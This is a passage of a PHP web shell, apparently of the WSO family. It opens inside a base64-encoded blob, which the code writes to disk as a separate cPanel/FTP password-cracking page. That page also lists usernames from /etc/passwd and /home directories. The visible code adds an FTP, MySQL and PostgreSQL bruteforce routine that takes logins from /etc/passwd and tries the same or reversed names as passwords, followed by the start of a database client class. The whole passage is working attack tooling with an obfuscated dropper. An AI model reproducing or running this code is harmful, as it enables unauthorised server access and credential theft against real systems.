iMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5NYXggQnJ1dGVmb3JjZSBMZW5ndGg6PC9zcGFuPjwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXhfbGVuZ3RoIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJG1heF9sZW5ndGg7Pz4iPjwvaW5wdXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIG5hbWU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOiAjMDA4MDAwOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgIzMzMzMzMzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCI+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KDQogICAgPHAgYWxpZ249ImNlbnRlciI+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KDQo8P3BocA0KZnVuY3Rpb24gYnJ1dGUoKXsNCiAgICBnbG9iYWwgJHZhbHMsJG1pbl9sZW5ndGgsJG1heF9sZW5ndGg7DQogICAgZ2xvYmFsICR0YXJnZXQsJHB1cmV1c2VyLCRjb25uZWN0X3RpbWVvdXQ7DQogICAgJG1pbj0kbWluX2xlbmd0aDsNCiAgICAkbWF4PSRtYXhfbGVuZ3RoOw0KICAgICRBID0gYXJyYXkoKTsNCiAgICAkbnVtVmFscyA9IGNvdW50KCR2YWxzKTsNCiAgICAkaW5jRG9uZSA9ICIiOw0KICAgICRyZWFsTWF4ID0gIiI7DQogICAgJGN1cnJlbnRWYWwgPSAiIjsNCiAgICAkZmlyc3RWYWwgPSAiIjsNCiAgICBmb3IgKCRpID0gMDsgJGkgPCAoJG1heCArIDEpOyAkaSsrKSB7DQogICAgICAgICRBWyRpXSA9IC0xOw0KICAgIH0NCiAgICANCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWF4OyAkaSsrKSB7DQogICAgICAgICRyZWFsTWF4ID0gJHJlYWxNYXggLiAkdmFsc1skbnVtVmFscyAtIDFdOw0KICAgIH0NCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbWluOyAkaSsrKSB7DQogICAgICAgICRBWyRpXSA9ICR2YWxzWzBdOw0KICAgIH0NCiAgICAkaSA9IDA7DQogICAgd2hpbGUgKCRBWyRpXSAhPSAtMSkgew0KICAgICAgICAkZmlyc3RWYWwgLj0gJEFbJGldOw0KICAgICAgICAkaSsrOw0KICAgIH0NCiAgICAvL2VjaG8gJGZpcnN0VmFsIC4gIjxicj4iOw0KICAgIGNwYW5lbF9jaGVjaygkdGFyZ2V0LCRwdXJldXNlciwkZmlyc3RWYWwsJGNvbm5lY3RfdGltZW91dCk7DQogICAgDQogICAgd2hpbGUgKDEpIHsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgKCRtYXggKyAxKTsgJGkrKykgew0KICAgICAgICAgICAgaWYgKCRBWyRpXSA9PSAtMSkgew0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRpLS07DQogICAgICAgICRpbmNEb25lID0gMDsNCiAgICAgICAgd2hpbGUgKCEkaW5jRG9uZSkgeyAgICANCiAgICAgICAgICAgIGZvciAoJGogPSAwOyAkaiA8ICRudW1WYWxzOyAkaisrKSB7DQogICAgICAgICAgICAgICAgaWYgKCRBWyRpXSA9PSAkdmFsc1skal0pIHsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRqID09ICgkbnVtVmFscyAtIDEpKSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbMF07DQogICAgICAgICAgICAgICAgJGktLTsNCiAgICAgICAgICAgICAgICBpZiAoJGkgPCAwKSB7DQogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkQVskaV0gPT0gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkQVskaV0gPSAkdmFsc1swXTsNCiAgICAgICAgICAgICAgICAgICAgJEFbJGkgKyAxXSA9IC0xOw0KICAgICAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICJTdGFydGluZyAiIC4gKHN0cmxlbigkY3VycmVudFZhbCkgKyAxKSAuICIgQ2hhcmFjdGVycyBDcmFja2luZzxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbJGogKyAxXTsNCiAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGkgPSAwOw0KICAgICAgICAkY3VycmVudFZhbCA9ICIiOw0KICAgICAgICB3aGlsZSAoJEFbJGldICE9IC0xKSB7DQogICAgICAgICAgICAkY3VycmVudFZhbCA9ICRjdXJyZW50VmFsIC4gJEFbJGldOw0KICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgfQ0KICAgICAgICBjcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJGN1cnJlbnRWYWwsJGNvbm5lY3RfdGltZW91dCk7DQogICAgICAgIC8vZWNobyAkY3VycmVudFZhbCAuICI8YnI+IjsNCiAgICAgICAgaWYgKCRjdXJyZW50VmFsID09ICRyZWFsTWF4KSB7DQogICAgICAgICAgICByZXR1cm4gMDsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmZ1bmN0aW9uIGdldG1pY3JvdGltZSgpIHsNCiAgIGxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsbWljcm90aW1lKCkpOw0KICAgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7DQp9IA0KDQpmdW5jdGlvbiBmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpDQp7DQogJGNoID0gY3VybF9pbml0KCk7DQogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZ0cDovLyRob3N0Iik7DQogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsNCiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRlRQTElTVE9OTFksIDEpOw0KIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCiBjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KIGlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkNCiB7DQogcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiPg0KIDxmb250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAwMFwiPkNvbm5lY3Rpb24gVGltZW91dA0KIFBsZWFzZSBDaGVjayBUaGUgVGFyZ2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9mb250PjwvYj48L3A+IjtleGl0Ow0KIH0NCiBlbHNlIGlmICggY3VybF9lcnJubygkY2gpID09IDAgKQ0KIHsNCiAgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjMDA4MDAwXCI+W35dPC9mb250PjwvYj48Zm9udCBmYWNlPVwiVGFob21hXCIgICBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+PGI+PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+DQogQ3JhY2tpbmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICZxdW90OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIg0KIGFuZCBQYXNzd29yZCBcIjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIjwvZm9udD48L2I+PGJyPjxicj4iOw0KIH0NCiBjdXJsX2Nsb3NlKCRjaCk7DQp9DQpmdW5jdGlvbiBjcGFuZWxfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpDQp7DQogZ2xvYmFsICRjcGFuZWxfcG9ydDsNCiAkY2ggPSBjdXJsX2luaXQoKTsNCiAvL2VjaG8gImh0dHA6Ly8kaG9zdDoiLiRjcGFuZWxfcG9ydC4iICR1c2VyICRwYXNzPGJyPiI7DQogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly8kaG9zdDoiIC4gJGNwYW5lbF9wb3J0KTsNCiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOw0KIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsNCiBjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7DQogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsNCiAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KIGlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkNCiB7DQogIHByaW50ICI8Yj48Zm9udCBmYWNlPVwiVmVyZGFuYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj4NCiAgPGZvbnQgY29sb3I9XCIjQUEwMDAwXCI+RXJyb3IgOjwvZm9udD4gPGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+Q29ubmVjdGlvbiBUaW1lb3V0DQogIFBsZWFzZSBDaGVjayBUaGUgVGFyZ2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9mb250PjwvYj48L3A+IjtleGl0Ow0KIH0NCiBlbHNlIGlmICggY3VybF9lcnJubygkY2gpID09IDAgKQ0KIHsNCiAgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjMDA4MDAwXCI+W35dPC9mb250PjwvYj48Zm9udCBmYWNlPVwiVGFob21hXCIgICBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCI+PGI+PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+IA0KICBDcmFja2luZyBTdWNjZXNzIFdpdGggVXNlcm5hbWUgJnF1b3Q7PC9mb250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiR1c2VyPC9mb250Pjxmb250IGNvbG9yPVwiIzAwODAwMFwiPlwiDQogIGFuZCBQYXNzd29yZCBcIjwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIjwvZm9udD48L2I+PGJyPjxicj4iOw0KIH0NCiBjdXJsX2Nsb3NlKCRjaCk7DQp9DQoNCiR0aW1lX3N0YXJ0ID0gZ2V0bWljcm90aW1lKCk7DQoNCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSkNCnsNCiBpZihlbXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSApDQogew0KICAgcHJpbnQgIjxwPjxmb250IGZhY2U9XCJUYWhvbWFcIiBzaXplPVwiMlwiPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgVXNlcnMgb3IgUGFzc3dvcmQgTGlzdCBFbnRyeSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH0NCiBpZihlbXB0eSgkdXNlcnMpKXsgcHJpbnQgIjxwPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPkVycm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgVXNlcnMgTGlzdCBFbnRyeSAuIC4gLjwvYj48L2ZvbnQ+PC9wPiI7IGV4aXQ7IH0NCiBpZihlbXB0eSgkcGFzcykgJiYgJF9SRVFVRVNUWydicnV0ZWZvcmNlJ10hPSJ0cnVlIiApeyBwcmludCAiPHA+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJz48Yj48Zm9udCBjb2xvcj0nI0ZGMDAwMCc+RXJyb3IgOiA8L2ZvbnQ+UGxlYXNlIENoZWNrIFRoZSBQYXNzd29yZCBMaXN0IEVudHJ5IC4gLiAuPC9iPjwvZm9udD48L3A+IjsgZXhpdDsgfTsNCiAkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCR1c2Vycyk7DQogJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFzcyk7DQogcHJpbnQgIjxiPjxmb250IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjMDA4MDAwXCI+W35dIzwvZm9udD48Zm9udCBmYWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiI0ZGMDAwMFwiPg0KIENyYWNraW5nIFByb2Nlc3MgU3RhcnRlZCwgUGxlYXNlIFdhaXQgLi4uPC9mb250PjwvYj48YnI+PGJyPiI7DQoNCiBpZihpc3NldCgkX1BPU1RbJ2Nvbm5lY3RfdGltZW91dCddKSkNCiB7DQogICRjb25uZWN0X3RpbWVvdXQ9JF9QT1NUWydjb25uZWN0X3RpbWVvdXQnXTsNCiB9DQoNCiBpZigkY3JhY2t0eXBlID09ICJmdHAiKQ0KIHsNCiAgZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSANCiAgew0KICAgJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7DQogICBmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3JkICkgDQogICB7DQogICAgICRwdXJlcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCiAgICAgZnRwX2NoZWNrKCR0YXJnZXQsJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1lb3V0KTsNCiAgIH0NCiAgfQ0KIH0NCiANCiBpZiAoJGNyYWNrdHlwZSA9PSAiY3BhbmVsIiB8fCAkY3JhY2t0eXBlID09ICJjcGFuZWwyIikNCiB7DQogIGlmKCRjcmFja3R5cGUgPT0gImNwYW5lbDIiKQ0KICB7DQogICAkY3BhbmVsX3BvcnQ9IjIzIjsNCiAgfQ0KICBlbHNlDQogICAkY3BhbmVsX3BvcnQ9IjIwODIiOw0KICANCiAgZm9yZWFjaCAoJHVzZXJsaXN0IGFzICR1c2VyKSANCiAgew0KICAgJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7DQogICBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250IGZhY2U9XCJUYWhvbWFcIiAgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiI0ZGMDgwMFwiPg0KICAgUHJvY2Vzc2luZyB1c2VyICRwdXJldXNlciAuLi4gPC9mb250PjwvYj4iOw0KICAgaWYoJF9QT1NUWydicnV0ZWZvcmNlJ109PSJ0cnVlIikNCiAgIHsNCiAgICBlY2hvICIgYnJ1dGVmb3JjaW5nIC4uIjsNCiAgICBlY2hvICI8YnI+IjsNCiAgICBicnV0ZSgpOw0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAgICBlY2hvICI8YnI+IjsgDQogICAgIGZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQgKSANCiAgICAgew0KICAgICAgICRwdXJlcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCiAgICAgICBjcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KICAgICB9DQogICB9DQogIH0NCiAgJHRpbWVfZW5kID0gZ2V0bWljcm90aW1lKCk7DQokdGltZSA9ICR0aW1lX2VuZCAtICR0aW1lX3N0YXJ0OyANCiBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjRkYwMDAwXCI+DQogQ3JhY2tpbmcgRmluaXNoZWQuIEVsYXBzZWQgdGltZTogJHRpbWU8L2ZvbnQ+IHNlY29uZHM8L2I+PGJyPjxicj4iOw0KICB9DQp9DQoNCg0KDQo/Pg0KDQoNCg0KICAgICAgPGZvcm0gc3R5bGU9ImJvcmRlcjogMHB4IHJpZGdlICNGRkZGRkYiPg0KDQoNCg0KDQogICAgPHAgYWxpZ249ImNlbnRlciI+PC90ZD4NCiAgPC90cj48ZGl2IGFsaWduPSJjZW50ZXIiPg0KDQogICAgICAgICAgICAgICAgPHRyPg0KDQo8L2Zvcm0+DQoNCg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiA8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAlIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDZBMDAiIGhlaWdodD0iMTAwIiBjZWxsc3BhY2luZz0iMSI+DQo8dHI+DQo8dGQgYm9yZGVyY29sb3JsaWdodD0iIzAwODAwMCIgYm9yZGVyY29sb3JkYXJrPSIjMDA2QTAwIj4NCjxwIGFsaWduPSJsZWZ0Ij4NCjx0ZXh0YXJlYSBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiAjMjAwMDAwO2NvbG9yOiNDQ0ZGRkYiIG1ldGhvZD0nUE9TVCcgcm93cz0iMjUiIG5hbWU9IlMxIiBjb2xzPSIyMiI+DQoNCg0KPD9waHANCiAgIGlmIChpc3NldCgkX0dFVFsndXNlciddKSkNCiAgICAgIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7IA0KICAgaWYgKGlzc2V0KCRfUE9TVFsnZ3JhYl91c2VyczEnXSkpIC8vZ3JhYiB1c2VycyBmcm9tIC9ldGMvcGFzc3dkDQogICB7DQogICAgICAkbGluZXM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsNCiAgICAgIGZvcmVhY2goJGxpbmVzIGFzICRucj0+JHZhbCkNCiAgICAgIHsNCiAgICAgICAkc3RyPWV4cGxvZGUoIjoiLCR2YWwpOw0KICAgICAgIGVjaG8gJHN0clswXS4iXG4iOw0KICAgICAgfQ0KICAgICANCiAgIH0NCiAgIGlmIChpc3NldCgkX1BPU1RbJ2dyYWJfdXNlcnMyJ10pKQ0KICAgIHsNCiAgICAgJGRpciA9ICIvaG9tZS8iOw0KICAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgew0KICAgICAgICB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIGVjaG8gJGZpbGUuICJcbiI7DQogICAgICAgIH0NCiAgICAgICAgICAgIGNsb3NlZGlyKCRkaCk7DQogICAgICAgIH0NCiAgICB9DQo/Pg0KPC90ZXh0YXJlYT4NCjx0YWJsZT4NCjx0cj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9InRydWUiIG5hbWU9ImdyYWJfdXNlcnMxIj48L2lucHV0Pg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ldGMvcGFzc3dkIj48L2lucHV0Pg0KPC9mb3JtPg0KPC90cj4NCjxicj4NCjx0cj4NCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9InRydWUiIG5hbWU9ImdyYWJfdXNlcnMyIj48L2lucHV0Pg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ob21lLyI+PC9pbnB1dD4NCjwvZm9ybT4NCjwvdHI+DQo8YnI+DQo8dHI+DQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSJ0cnVlIiBuYW1lPSJncmFiX3VzZXJzMyI+PC9pbnB1dD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iR3JhYiBVc2VybmFtZXMgZnJvbSAvaG9tZS8gSUkiPjwvaW5wdXQ+DQo8L2Zvcm0+DQo8L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCjw/cGhwDQppZiAoaXNzZXQoJF9QT1NUWydncmFiX3VzZXJzMyddKSkNCiAgICB7DQogICAgICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiAgICAgJGRpciA9ICIvaG9tZS8iOw0KICAgICBpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgDQogICAgIHsNCiAgICAgICAgJGYgPSByZWFkZGlyKCRkaCk7JGYgPSByZWFkZGlyKCRkaCk7DQogICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSkgDQogICAgICAgIHsNCiAgICAgICAgICAgIC8vZWNobyAkZi4gIlxuIjsNCiAgICAgICAgICAgICRmLj0iLyI7DQogICAgICAgICAgICAkZGgyPW9wZW5kaXIoJGRpci4kZik7DQogICAgICAgICAgICAkZjIgPSByZWFkZGlyKCRkaDIpOyRmMiA9IHJlYWRkaXIoJGRoMik7DQogICAgICAgICAgICB3aGlsZSAoKCRmMiA9IHJlYWRkaXIoJGRoMikpICE9PSBmYWxzZSkgDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgLy9lY2hvICRmMi4gIlxuIjsNCiAgICAgICAgICAgICAkZjIuPSIvIjsNCiAgICAgICAgICAgICAkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOw0KICAgICAgICAgICAgICRmMyA9IHJlYWRkaXIoJGRoMyk7JGYzID0gcmVhZGRpcigkZGgzKTsNCiAgICAgICAgICAgICB3aGlsZSAoKCRmMyA9IHJlYWRkaXIoJGRoMykpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgew0KICAgICAgICAgICAgICBlY2hvICRmMy4gIjxicj4iOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICB9DQogICAgfQ0KPz4g');
1432$write = fwrite ($file ,$sa);
1433fclose($file);
1434
1435
1436
1437
1438 if( isset($_POST['proto']) ) {
1439 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1440 if( $_POST['proto'] == 'ftp' ) {
1441 function bruteForce($ip,$port,$login,$pass) {
1442 $fp = @ftp_connect($ip, $port?$port:21);
1443 if(!$fp) return false;
1444 $res = @ftp_login($fp, $login, $pass);
1445 @ftp_close($fp);
1446 return $res;
1447 }
1448 } elseif( $_POST['proto'] == 'mysql' ) {
1449 function bruteForce($ip,$port,$login,$pass) {
1450 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1451 @mysql_close($res);
1452 return $res;
1453 }
1454 } elseif( $_POST['proto'] == 'pgsql' ) {
1455 function bruteForce($ip,$port,$login,$pass) {
1456 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1457 $res = @pg_connect($str);
1458 @pg_close($res);
1459 return $res;
1460 }
1461 }
1462 $success = 0;
1463 $attempts = 0;
1464 $server = explode(":", $_POST['server']);
1465 if($_POST['type'] == 1) {
1466 $temp = @file('/etc/passwd');
1467 if( is_array($temp) )
1468 foreach($temp as $line) {
1469 $line = explode(":", $line);
1470 ++$attempts;
1471 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1472 $success++;
1473 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1474 }
1475 if(@$_POST['reverse']) {
1476 $tmp = "";
1477 for($i=strlen($line[0])-1; $i>=0; --$i)
1478 $tmp .= $line[0][$i];
1479 ++$attempts;
1480 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1481 $success++;
1482 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1483 }
1484 }
1485 }
1486 } elseif($_POST['type'] == 2) {
1487 $temp = @file($_POST['dict']);
1488 if( is_array($temp) )
1489 foreach($temp as $line) {
1490 $line = trim($line);
1491 ++$attempts;
1492 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1493 $success++;
1494 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1495 }
1496 }
1497 }
1498 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1499 }
1500 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1501 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1502 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1503 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1504 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1505 .'<span>Server:port</span></td>'
1506 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1507 .'<tr><td><span>Brute type</span></td>'
1508 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1509 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1510 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1511 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1512 .'<td><input type=text name=login value="root"></td></tr>'
1513 .'<tr><td><span>Dictionary</span></td>'
1514 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1515 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr>';
1516 echo '<tr><td><b><a href=/dkcpanel.php>CpanelBruterv1.0</a><br></tr></form></table>';
1517 echo '</div><br>';
1518
1519 wsoFooter();
1520}
1521
1522function actionSql() {
1523 class DbClass {
1524 var $type;
1525 var $link;
1526 var $res;
1527 function DbClass($type) {
1528 $this->type = $type;
1529 }
1530 function connect($host, $user, $pass, $dbname){
1531 switch($this->type) {
1532 case 'mysql':
1533 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1534 break;
1535 case 'pgsql':
1536 $host = explode(':', $host);
1537 if(!$host[1]) $host[1]=5432;
1538 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1539 break;
1540 }
1541 return false;
1542 }
1543 function selectdb($db) {
1544 switch($this->type) {
1545 case 'mysql':
1546 if (@mysql_select_db($db))return true;
1547 break;
1548 }
1549 return false;
1550 }
1551 function query($str) {
1552 switch($this->type) {
1553 case 'mysql':
1554 return $this->res = @mysql_query($str);
1555 break;
1556 case 'pgsql':
1557 return $this->res = @pg_query($this->link,$str);
1558 break;
1559 }
1560 return false;
1561 }
1562 function fetch() {
